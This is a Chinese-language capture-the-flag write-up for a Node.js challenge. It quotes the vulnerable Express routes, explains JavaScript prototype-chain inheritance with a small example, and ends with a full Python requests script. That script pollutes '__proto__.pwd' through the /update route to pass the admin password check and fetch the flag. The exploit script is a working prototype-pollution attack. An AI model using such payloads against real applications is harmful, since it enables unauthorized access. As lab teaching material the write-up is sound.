1、先扫目录 发现www 文件下载下来
2、打开代码
这个路由 用来修改参数,可以看到 通过传参可以修改req.session.challenger对象的值
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});
这个路由用来获取flag
其中需要绕过
一、req.session.challenger.age  这个很好绕过,只需要post传参即可

image.png
二、第二个需要让if(Admin[key] === password)
其中passwod为我们控制的 但是Admin[key] 我们不知道
这里考察了原型链问题。下面着重讲解
router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        console.log(key,password)
        console.log(Admin)
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }
});
三、原型链污染]
下面例子可以看到。我们只需要在最开始的原形中增加参数,其后者都会继承
// 构造函数(Person)
function Person(name,age){
    this.name = name
    this.age = age
}
// 实例化(Person)
var per = new Person('小王', 20)
console.log(per.password)  //undefined
Person.prototype.password = "adasd"
console.log(per.password)  //adasd
所以进行传参,想某一对象的原形增加参数
data={"attrkey":"__proto__.pwd","attrval":"222"}
update(url,data)
#通过这样的方式我们把原形增加了 {pwd:222}
#如果Admin[key]  本身没有pwd参数的话,就回从上找原形。故通过这种方式
Admin['pwd']=222
所以我们在进行传入代码
data={"password":"222","key":"pwd"}
getflag(url,data) 即可获取flag
四、完整payload
import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一个会话
def reg(url):
    url=url+"reg"
    r=s.get(url)
    print(r.text)
def update(url,data):
    url=url+"update"
    print(url)
    r=s.post(url,data=data)
    print(r.text)
def getflag(url,data):
    url=url+"getflag"
    r=s.post(url,data=data)
    print(r.text)
url="http://114.67.246.176:11537/"
reg(url)
data={"attrkey":"age","attrval":"40"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"222"}
update(url,data)
data={"password":"222","key":"pwd"}
getflag(url,data)